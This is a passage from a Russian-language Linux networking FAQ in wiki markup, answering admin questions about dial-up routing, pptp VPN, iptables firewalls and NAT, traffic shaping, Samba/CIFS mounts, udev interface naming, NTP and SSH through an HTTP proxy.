&lt;br /&gt;
Решить все, кроме последнего пункта, довольно просто:&lt;br /&gt;
&lt;br /&gt;
* Попробуйте выполнить в консоли&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      root@linux~:# route add default ppp0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Если все заработало, то поставьте себе эту строчку в '''/etc/ppp/if-up.local''' На всякий случай проверьте скрипт if-up — в старых дистрибутивах иногда отсутствовал вызов if-up.local. Строчка там должна быть примерно такой:&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
      [ -x /etc/ppp/ip-up.local ] &amp;amp;&amp;amp; /etc/ppp/ip-up.local &amp;quot;$@&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Попробуйте выполнить в консоли&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      echo &amp;quot;1&amp;quot; &amp;gt; /proc/sys/net/ipv4/ip_dynaddr&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Разрешение на динамические адреса должно присутствовать в обязательном порядке (если вы не подключаетесь к частной линии и адрес не задан у вас статически). Поэтому поставьте себе эту строчку в '''/etc/rc.d/rc.local''' (или аналогичный файл, стартующий при запуске системы). Для дистрибутивов fedora core 2 или 3 вместо этого добавьте в '''/etc/sysctl.conf''' строчку '''net.ipv4.ip_dynaddr = 1'''.&lt;br /&gt;
* Для указания адресов DNS-серверов нужно зайти в файл '''/etc/resolv.conf''' и прописать их туда примерно в такой форме (пример для МТУ-Интел):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      nameserver      195.34.32.11&lt;br /&gt;
      nameserver      195.34.32.10&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Проблемы с firewall’ом нужно решать в частном порядке, методом внимательного прочтения iptables-tutorial. Отмечу только, что обычно стандартные брандмауэры обычно позволяют выходить в интернет.&lt;br /&gt;
&lt;br /&gt;
== После того как вхожу в инет машина начинает дико тормозить. Все открывается долго. Что делать? ==&lt;br /&gt;
Убрать в своей программе дозвона получение имя хоста от провайдера. В том же kppp, например, есть галочка на эту тему. О параметрах pppd читайте '''man pppd'''&lt;br /&gt;
&lt;br /&gt;
== Какой выбрать сервер VPN? ==&lt;br /&gt;
Вот [http://www.opennet.ru/opennews/art.shtml?num=4499 здесь] лежат ссылки на статью, сравнивающую функциональность различных VPN-серверов, а также ведущая на небольшие статьи со ссылками на полную документацию к большинству основных дистрибутивов. Не везде документация свежая, но в сочетании с манами по ней можно легко настроить нужное вам решение.&lt;br /&gt;
&lt;br /&gt;
== Как настроить подключение к Microsoft VPN Server? ==&lt;br /&gt;
Прочитайте об этом — [http://www.nixp.ru/cgi-bin/go.pl?q=articles;a=ms_vpn_client], [http://fine.kalinovka.net/?q=node/4]&lt;br /&gt;
&lt;br /&gt;
Как настроить pptpclient в Mandrake Linux смотрите здесь [http://pptpclient.sourceforge.net/howto-mandrake-10.phtml].&lt;br /&gt;
&lt;br /&gt;
== Как настроить шифрование в pptp, если сам он уже работает? (VPN) ==&lt;br /&gt;
Найти и скачать пакет kernel_ppp_mppe [http://sourceforge.net/project/showfiles.php?group_id=44827&amp;amp;package_id=120221&amp;amp;release_id=244156] или патчик в ядро [http://www.polbox.com/h/hs001/] (тогда его придется пересобирать).&lt;br /&gt;
&lt;br /&gt;
Узнать, поддерживает ли твой pppd mschap v2. Наверно нет. Наверно стоит сходить на [http://mcmcc.bat.ru mcmcc.bat.ru] — там они вроде патченные. Или опять же скачать патчик.&lt;br /&gt;
&lt;br /&gt;
Добавим в /etc/modules.conf строчку&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
alias ppp-compress-18 ppp_mppe_mppc &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
А в /etc/ppp/options.pptpd запишем&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
lock &lt;br /&gt;
require-mppe &lt;br /&gt;
require-mschap-v2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Остальное в меру своей испорченности — у меня (jackill), например, прописан плагин к радиусу.&lt;br /&gt;
&lt;br /&gt;
Далее заходим в наши винды, во вкладку соединения, там выставляем «дополнительные» параметры вместо всяческих типовых и отмечаем mschap v2. Галочку с mschap (который первой версии) убираем, иначе не будет подключаться.&lt;br /&gt;
&lt;br /&gt;
== Как разрешить клиентам из LAN соединяться по VPN через NAT? ==&lt;br /&gt;
Для поддержки passthrough VPN-соединений нужно установить patch-o-matic расширение — [http://netfilter.org/projects/patch-o-matic/index.html]&lt;br /&gt;
&lt;br /&gt;
== Есть компьютер, подключенный к интернету и в нем есть сетевая карта. Есть вторая машина. Как бы на нее интернет подключить? ==&lt;br /&gt;
Я так понимаю, сделать это надо быстро, но неизвестно как и что. Отлично. Нам нужно найти rc.firewall-strong. Проще всего искать в [http://www.google.ru] по словосочетанию «FWVER=0.80» (эта версия уже держится около полугода без особых модификаций).&lt;br /&gt;
&lt;br /&gt;
Я его нашел, например, здесь: [http://www.aerospacesoftware.com/firewall-howto.html].&lt;br /&gt;
&lt;br /&gt;
Версия 0.75 содержится в Linux IP Masquerading How-To.&lt;br /&gt;
&lt;br /&gt;
Качаем этот файл, называем его rc.firewall и кладем в '''/etc/rc.d/''',&lt;br /&gt;
&lt;br /&gt;
Далее пользуясь комментариями исправляем (интерфейсы — вдруг ppp0 потребуется вместо eth0, включаем/выключаем DHCP, смотрим надо ли включать ip_dynaddr), запускаем.&lt;br /&gt;
&lt;br /&gt;
Затем на второй машине прописываем машину с интернетом как gateway (см. как это делается в вашем дистрибутиве), в '''/etc/resolv.conf''' прописываете адреса DNS-серверов провайдера. Все.&lt;br /&gt;
&lt;br /&gt;
Если машина под управлением MS Windows, выставляете все настройки в «Настройке сети».&lt;br /&gt;
&lt;br /&gt;
== Как мне защитить свою домашнюю машину под управлением ОС Linux от атак из интернета и из локальной сети? ==&lt;br /&gt;
Это очень обширная тема, в силу чего я не очень хотел бы помещать такие вопросы тут, но вот кратенько об основном:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
for table in INPUT OUTPUT FORWARD ; do&lt;br /&gt;
        iptables -P $table DROP&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
iptables -A INPUT -p TCP -m state --state ESTABLISHED,RELATED -j ACCEPT&lt;br /&gt;
iptables -A INPUT -p UDP -m state --state ESTABLISHED,RELATED -j ACCEPT&lt;br /&gt;
iptables -A OUTPUT -p ALL -j ACCEPT&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Этими командами мы разрешаем выход в мир с нашей машины и запрещаем все остальное. Обычно, такой скрипт называется '''/etc/rc.d/rc.firewall''' и запускается из стартовых скриптов (например, '''/etc/rc.d/rc.local''').&lt;br /&gt;
&lt;br /&gt;
Для более подробного ознакомления с возможностями iptables следует почитать хотя-бы это — [http://www.opennet.ru/docs/RUS/iptables/index.html].&lt;br /&gt;
&lt;br /&gt;
После того, как вы прочитали хотя бы порядок прохождения пакетов в linux при использовании iptables, можете попробовать графические интерфейсы для настройки iptables.&lt;br /&gt;
&lt;br /&gt;
И уж точно не повредит прочтение документов из раздела [[Linux Security FAQ]].&lt;br /&gt;
&lt;br /&gt;
Если хочется быстро настроить файрволл для себя, чтобы разрешались на вход любые исходящие пакеты, можно найти уже готовые правила.&lt;br /&gt;
&lt;br /&gt;
== В какой цепочке iptables считать трафик, в каком порядке проходятся цепочки, что будет раньше, NAT или шейпинг и т. д.? ==&lt;br /&gt;
После внимательного изучения Kernel Packet Traveling Diagram эти вопросы должны отпасть — [http://www.docum.org/docum.org/kptd/]&lt;br /&gt;
&lt;br /&gt;
Так же неплохо посмотреть iptables-tutorial (ссылка в начале этого раздела).&lt;br /&gt;
&lt;br /&gt;
== Как ограничить скорость прохождения трафика? ==&lt;br /&gt;
В общем и целом, это довольно сложная тема и если применять соответствующие утилиты без относительного понимания, лучше точно не будет.&lt;br /&gt;
&lt;br /&gt;
Ограничивать скорость прохождения трафика можно и с помощью iptables (при использовании [http://www.netfilter.org/patch-o-matic/ Patch-o-matic расширений], например).&lt;br /&gt;
&lt;br /&gt;
Или с помощью шейперов.&lt;br /&gt;
&lt;br /&gt;
Кроме того, в Squid имеется механизм ограничения скорости web-трафика.&lt;br /&gt;
&lt;br /&gt;
Очень большие возможностыи дает использование утилит пакета iproute2 — [http://developer.osdl.org/dev/iproute2/].&lt;br /&gt;
&lt;br /&gt;
Документация по использованию iproute2:&lt;br /&gt;
&lt;br /&gt;
* Linux Advanced Routing &amp;amp; Traffic Control HOWTO — [http://lartc.org/howto/]&lt;br /&gt;
* Docum.org — [http://www.docum.org/docum.org/]&lt;br /&gt;
* Повесть о Linux и управлении трафиком — [http://gazette.linux.ru.net/rus/articles/taleLinuxTC.html]&lt;br /&gt;
* OpenNet iproute2 info — [http://www.opennet.ru/keywords/iproute2.html]&lt;br /&gt;
&lt;br /&gt;
Кроме того, для упрощения использования возможностей по управлению трафиком, были написаны множество скриптов, самые популярные из которых — CBQ.init ([http://sourceforge.net/projects/cbqinit/]) и HTB.init ([http://uf.kadan.cz/htb/]). Хотя они и обладают рядом недостатков (например, нет возможности обслуживать динамические интерфейсы — ppp+), все же они довольно удобны для решения простых задач.&lt;br /&gt;
&lt;br /&gt;
Кстати, не используйте CBQ.init — дисциплина обработки очереди HTB была разработана на замену CBQ, является более функциональной и удобной в использовании.&lt;br /&gt;
&lt;br /&gt;
== Как соединить MS Windows (hyperterminal) и linux по телефонной линии? ==&lt;br /&gt;
Воспользоваться программой minicom.&lt;br /&gt;
&lt;br /&gt;
Если под MS Windows мы делаем HyperTerminal-&amp;gt;Call-&amp;gt;телефон, то в minicom просто набираем ATDP телефон (для импульсных линий) или ATDT телефон (для тоновых).&lt;br /&gt;
&lt;br /&gt;
Протокол подключения называется zmodem.&lt;br /&gt;
&lt;br /&gt;
== Как соединить два компьютера через com-порты? ==&lt;br /&gt;
Выполняем на первой машине:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
pppd /dev/ttyS0 115200 local nocrtscts nocdtrcts noxonxoff 192.168.0.1:192.168.0.2 netmask 255.255.255.252 noauth&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
на второй машине:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
pppd /dev/ttyS0 115200 local nocrtscts nocdtrcts noxonxoff 192.168.0.2:192.168.0.1 netmask 255.255.255.252 noauth&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Получаем локалку со всеми вытекающими.&lt;br /&gt;
&lt;br /&gt;
== Как соединить два компьютера через lpt-порты? ==&lt;br /&gt;
Нужно использовать PLIP (в ядре должна быть поддержка).&lt;br /&gt;
&lt;br /&gt;
Как именно — читайте PLIP-HOWTO.&lt;br /&gt;
&lt;br /&gt;
== Как соединить два компьютера через USB-порты? ==&lt;br /&gt;
Купить PC-to-PC USB кабель. А вот какая у вас связь получится и что дальше — не в курсе. (Кто может описать подробнее, отправьте, пожалуйста, ответ).&lt;br /&gt;
&lt;br /&gt;
== Как соединить два компьютера по Bluetooth? ==&lt;br /&gt;
Первый вариант:&lt;br /&gt;
&lt;br /&gt;
На одном:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
pand -s -M&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
На втором:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
pand -c bt_адрес_первого&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант:&lt;br /&gt;
&lt;br /&gt;
На одном:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
pand --listen --role NAP --persist&lt;br /&gt;
sdptool add NAP&lt;br /&gt;
hciconfig hci0 piscan&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
На втором:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
pand --search&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Как узнать, подключен ли сетевой кабель? ==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user@linux:~$ /sbin/mii-tool&lt;br /&gt;
eth0: negotiated 100baseTx-FD, link ok&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
где link ok — подключен.&lt;br /&gt;
&lt;br /&gt;
Другой вариант:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ ifconfig&lt;br /&gt;
eth0      Link encap:Ethernet  HWaddr 00:01:6c:de:6a:cb&lt;br /&gt;
          inet addr:192.168.xxx.yyy  Bcast:192.168.xxx.255  Mask:255.255.255.0&lt;br /&gt;
          UP BROADCAST MULTICAST RUNNING MTU:1500  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:1000&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
          Interrupt:23&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Где есть RUNNING — там кабель подключен.&lt;br /&gt;
&lt;br /&gt;
Ещё вариант (нужен):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ethtool eth0 | grep Link&lt;br /&gt;
Link detected: yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ещё один:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ ifplugstatus eth0&lt;br /&gt;
eth0: link beat detected&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Как поменять MAC-адрес сетевой карты? ==&lt;br /&gt;
С разными способами можно ознакомиться здесь: http://mydebianblog.blogspot.com/2007/02/blog-post_24.html .&lt;br /&gt;
Также есть программа macchanger, которая умеет генерировать и заменять адрес по заданным критериям.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Как добавить несколько IP-адресов на интерфейс? ==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@localhost:~# ifconfig eth0:any_alias 1.2.3.4&lt;br /&gt;
root@localhost:~# ip addr add dev eth0 1.2.3.4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== eth0 смотрит, к примеру, в сеть 10.0.0.0, eth1 смотрит в 192.168.0.0. Как создать маршрут, чтобы машины из сети 192* видели сеть 10*? ==&lt;br /&gt;
На маршрутизаторе&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linuxrouter:~# echo &amp;quot;1&amp;quot; &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
''(Чтобы последняя команда выполнялась на старте, в fedora core и debian нужно выставить 1 на одноименном параметре в /etc/sysctl.conf, а в redhat 7.3 — 9 в /etc/sysconfig/network)''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
На хосте&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linuxhost:~# ip route add 10.0.0.0/8 via 192.168.0.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
где 192.168.0.1 — адрес интерфейса маршрутизатора в сети 192.168.0.0&lt;br /&gt;
&lt;br /&gt;
== Как жестко привязать интерфейсы eth0 и eth1 к оборудованию ==&lt;br /&gt;
Если после каждой загрузки интерфейсы меняются местами, нужно добавить правило udev (создать файл /etc/udev/rules.d/net.rules), которое еще на этапе загрузки компьютера жестко определит имя интерфейса. Первый вариант:&lt;br /&gt;
&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
# net rule for eth0 (00:23:54:7C:26:12)&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, ATTR{address}==&amp;quot;00:23:54:7C:26:12&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth0&amp;quot;&lt;br /&gt;
# net rule for eth1 (00:10:22:FD:C5:0C)&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, ATTR{address}==&amp;quot;00:10:22:FD:C5:0C&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Здесь в поле ATTR{address} необходимо записать реальный mac-адрес сетевой карты.&lt;br /&gt;
&lt;br /&gt;
Если это правило не срабатывает, используем следующее правило:&lt;br /&gt;
&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ENV{ID_VENDOR_ID}==&amp;quot;0x10ec&amp;quot;, NAME=&amp;quot;eth0&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ENV{ID_VENDOR_ID}==&amp;quot;0x10b7&amp;quot;, NAME=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Узнать, что писать в ENV{ID_VENDOR_ID}, можно из содержимого файла &amp;lt;tt&amp;gt;/sys/class/net/ethX/device/vendor&amp;lt;/tt&amp;gt;, где ethX — текущее имя данного интерфейса.&lt;br /&gt;
&lt;br /&gt;
== Как сделать прозрачный мост? ==&lt;br /&gt;
Воспользоваться статьёй Linux Bridge [http://xgu.ru/wiki/Linux_Bridge]&lt;br /&gt;
&lt;br /&gt;
Если после настройки моста компьютеры из объединённых сетей не видят друг-друга (не пингуются), то возможно причина в настройках iptables.&lt;br /&gt;
&lt;br /&gt;
Пути решения:&lt;br /&gt;
* отключить слежение iptables за мостом:&lt;br /&gt;
&amp;lt;pre&amp;gt;echo &amp;quot;0&amp;quot; &amp;gt; /proc/sys/net/bridge/bridge-nf-call-iptables&amp;lt;/pre&amp;gt;&lt;br /&gt;
* разрешить FORWARD’инг трафика через мост следующим правилом:&lt;br /&gt;
&amp;lt;pre&amp;gt;iptables -I FORWARD -m physdev --physdev-is-bridged -j ACCEPT&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== После прописывания правил iptables выдается ошибка, последнее сообщение которой Try `iptables -h' or 'iptables --help' for more information. Что делать? ==&lt;br /&gt;
Убьем сразу кучу зайцев и рассмотрим несколько вопросов в одном.&lt;br /&gt;
&lt;br /&gt;
Запомните: '''Скорее всего у вас неправильно написана команда. Вы где-то что-то забыли написать.'''&lt;br /&gt;
&lt;br /&gt;
Теперь успокойтесь, глубоко вздохните, выдохните и ищите ошибку. Самые распространенные:&lt;br /&gt;
&lt;br /&gt;
* '''multiple -d flags not allowed''' Скорее всего вместо --dport написано -dport. Очень часто забывают второй «-» или пишут dports/sports.&lt;br /&gt;
* При написании правил вида '''iptables -t nat -A POSTROUTING -o $EXTIF -j SNAT --to-source $EXTIP''' часто забывают прописать либо '''-t nat''', либо '''-A POSTROUTING'''. Часто неверно пишут POSTROUTING.&lt;br /&gt;
* При указании нескольких портов с помощью multiple часто забывают указать '''-m state'''&lt;br /&gt;
* При использовании переменных в строчках, иногда путают их названия или забывают задать изначально&lt;br /&gt;
* Нужный модуль не загружен (проблемы с ftp, irc, командой multiple, маркировкой пакетов идут отсюда).&lt;br /&gt;
&lt;br /&gt;
== Как просматривать ресурсы сети Windows (сетевое окружение) из консоли? Как его смонтировать? ==&lt;br /&gt;
Для начала нужно посмотреть ресурсы при помощи команды '''smbclient -L winmachine'''. На данный момент ресурсы с названием более 16 символов поддерживаются некорректно, то есть все символы в названии после 16-го отсекаются.&lt;br /&gt;
&lt;br /&gt;
Чтобы смонтировать нужный ресурс, дайте примерно такую команду:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
smbmount //winmachine/movie /home/jackill/mnt/movie -o  iocharset=koi8-r,rw,codepage=cp866,umask=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Для ресурсов с паролем дайте команду:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
smbmount //winmachine/work /home/jackill/mnt/work -o  iocharset=koi8-r,rw,umask=0,codepage=cp866,username=_username_,password=_password_&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Также существуют GUI-утилиты и специальный скрипт, искать ресурсы которыми и монтировать значительно удобнее.&lt;br /&gt;
&lt;br /&gt;
== Как настроить Samba? Как сделать, чтобы в ресурсах Samba были видны русские буквы? ==&lt;br /&gt;
Настройка Samba&lt;br /&gt;
&lt;br /&gt;
Для простой одноранговой сети пример файла настроек Samba (/etc/samba/smb.conf) можно скачать [http://fine.kalinovka.net/articles/hobby/lorFAQ/files/smb.conf.tgz здесь].&lt;br /&gt;
&lt;br /&gt;
Из примера должно быть понятно, как сделать доступными свои ресурсы.&lt;br /&gt;
&lt;br /&gt;
Русский язык&lt;br /&gt;
&lt;br /&gt;
Чтобы русские названия файлов отображались правильно, ядро должна быть собрано с определенными параметрами:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
File systems -&amp;gt; Network File Systems&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;M&amp;gt; SMB file system support (to mount Windows shares etc.)&lt;br /&gt;
[*]   Use a default NLS&lt;br /&gt;
Default Remote NLS Option: &amp;quot;cp866&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Иными словами:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONFIG_SMB_FS=m&lt;br /&gt;
CONFIG_SMB_NLS_DEFAULT=y&lt;br /&gt;
CONFIG_SMB_NLS_REMOTE=&amp;quot;cp866&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
(проверялось на ядрах серии 2.4.х и 2.6.х)&lt;br /&gt;
&lt;br /&gt;
Далее собираем Samba с поддержкой locales. Для третьей Samba может потребоваться установить libiconv. При этом вторая Samba соберет себе файлы кодовых страниц в /$PREFIX/share/samba/codepages.&lt;br /&gt;
&lt;br /&gt;
Затем в конфигурационном файле Samba (для RedHat-подобных систем это /etc/samba/smb.conf) пишем&lt;br /&gt;
&lt;br /&gt;
для Samba 2.2.x:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
character set = KOI8-R&lt;br /&gt;
client code page = 866&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
для Samba 3.x.x:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unix charset = KOI8-R&lt;br /&gt;
display charset = KOI8-R&lt;br /&gt;
dos charset = 866&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Если локаль не koi8-r, а utf8, то в вышеприведенных примерах поменяйте koi8-r на utf8.&lt;br /&gt;
&lt;br /&gt;
Как просмотреть чужие ресурсы Теперь, чтобы получить доступ к ресурсам сети MS Windows, ресурс можно «подмонтировать» (прямо как NFS, только опций больше):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# mount -t smbfs -o fmask=666,dmask=777,rw,iocharset=koi8-r,codepage=cp866 //winmachine/share /mnt/smb/share&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
или&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user@linux# smbmount //winmachine/share /mnt/smb/share -o iocharset=koi8-r,rw,codepage=cp866,username=your_name,password=your_password&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Если ваша локаль не koi8-r, то поставьте в iocharset свою локаль.&lt;br /&gt;
&lt;br /&gt;
'''Примечание:''' Настоятельно рекомендуется использовать не smbfs, а cifs, дабы избежать проблем с правами и передачей файлов длиной более 2Gb. Читайте следующий вопрос.&lt;br /&gt;
&lt;br /&gt;
== Не получается смонтировать ресурсы сервера MS Windows 2003 в домене. Что делать? ==&lt;br /&gt;
Сначала собираем в ядре поддержку Client VFS (CIFS):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONFIG_CIFS=m&lt;br /&gt;
# CONFIG_CIFS_STATS is not set&lt;br /&gt;
CONFIG_CIFS_XATTR=y&lt;br /&gt;
CONFIG_CIFS_POSIX=y&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Затем нужно обновить Samba до версии минимум 3.0.7.&lt;br /&gt;
&lt;br /&gt;
Монтируются ресурсы командой '''mount.cifs''' (поставляется вместе с Samba)&lt;br /&gt;
&lt;br /&gt;
== Обновил Samba/дистрибутив и больше не могу получить доступ к ресурсам Windows, что делать? Как передать через Samba файл с размером больше 2Gb? ==&lt;br /&gt;
А это вам маячок, подсказывающий, что пора использовать cifs. Команда для монтирования будет выглядеть примерно так:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mount -t cifs //homeserver/temp /home/jackill/mnt -o  iocharset=koi8-r,rw,codepage=cp866,umask=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Что писать в ядре написано здесь&lt;br /&gt;
&lt;br /&gt;
== Как сделать в Samba каталог, чтобы в него могли все заходить без аутентификации? ==&lt;br /&gt;
Удивительно, но этот вопрос зачастил. В файле конфигурации Samba (smb.conf) в разделе [global] пишем строчку:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
security = share&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Пример описания папки:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[media]&lt;br /&gt;
comment = working&lt;br /&gt;
path = /mnt/dos/media&lt;br /&gt;
browseable = yes&lt;br /&gt;
writable = yes&lt;br /&gt;
create mode = 0644&lt;br /&gt;
directory mode = 0777&lt;br /&gt;
guest ok = yes&lt;br /&gt;
public = yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Как управлять iptables с помощью Samba + ldap? ==&lt;br /&gt;
[http://www.invask.ru/linuxtools/ldap-iptables/] (битая)&lt;br /&gt;
&lt;br /&gt;
== Хочу синхронизировать время с серверами времени в интернете. Как это сделать? ==&lt;br /&gt;
Довольно просто — берем пакет ntp и устанавливаем себе на машину. В большинстве дистрибутивов (Fedora Core, Mandrake, openSUSE) он поставляется сразу.&lt;br /&gt;
&lt;br /&gt;
Список серверов можно взять здесь:&lt;br /&gt;
&lt;br /&gt;
* [http://ntp.isc.org/bin/view/Servers/StratumOneTimeServers]&lt;br /&gt;
* [http://ntp.isc.org/bin/view/Servers/StratumTwoTimeServers]&lt;br /&gt;
&lt;br /&gt;
== На 64-битной платформе время в 32-битном дистрибутиве идет слишком быстро. Что делать? ==&lt;br /&gt;
Скорее всего мать на чипсете ATI (RS480-M). Лечится добавлением параметра к ядру clock=tsc (см. документацию к ядру — Documents/kernel-parameters.txt).&lt;br /&gt;
&lt;br /&gt;
== Как настроить бездисковую загрузку? ==&lt;br /&gt;
Тема довольно объемная. Чтобы не играть в глухой телефон, лучше прочитайте вот это:&lt;br /&gt;
&lt;br /&gt;
[http://ltsp.org/]&lt;br /&gt;
&lt;br /&gt;
[http://thinstation.sourceforge.net/wiki/index.php/ThIndex]&lt;br /&gt;
&lt;br /&gt;
[http://www.wtware.ru/]&lt;br /&gt;
&lt;br /&gt;
== Как передать звук с одной машины на другую по сети, используя aRts? ==&lt;br /&gt;
Первый пользователь должен запустить artsd так:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user1@localhost$ artsd -u -p xxxxx&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Второй пользователь должен отключить свой уже запущенный atrsd (см. настройки звука в Control Center) и дать такую команду:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user2@localhost$ export ARTS_SERVER=hostname:xxxxx&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
xxxxx- порт arts сервера.&lt;br /&gt;
&lt;br /&gt;
Теперь user2 сможет использовать сервер запущенный пользователем user1 (и не только он, но и любой, кто даст такую же команду).&lt;br /&gt;
&lt;br /&gt;
Для уменьшения времени отклика сервера можно запустить artswrapper.&lt;br /&gt;
&lt;br /&gt;
== Как передать трафик ssh/telnet/irc и т. п., если я сижу за HTTP-прокси (ssh over proxy)? ==&lt;br /&gt;
Если есть доступ к серверу, для передачи SSH можно настроить Apache — [http://dag.wieers.com/howto/ssh-http-tunneling/].&lt;br /&gt;
&lt;br /&gt;
Или воспользоваться утилитой Proxytunnel — [http://proxytunnel.sourceforge.net/intro.php]&lt;br /&gt;
&lt;br /&gt;
Существует также временно приостановленный проект туннеля des-proxy — [http://desproxy.sourceforge.net/]&lt;br /&gt;
&lt;br /&gt;
Также, существует простенькая программа connect-proxy. Настройка ssh c использованием connect-proxy:&lt;br /&gt;
&lt;br /&gt;
 ~$ cat .ssh/config&lt;br /&gt;
 Host *&lt;br /&gt;
  ProxyCommand connect-proxy -H 192.168.0.1:8080 %h %p&lt;br /&gt;
&lt;br /&gt;
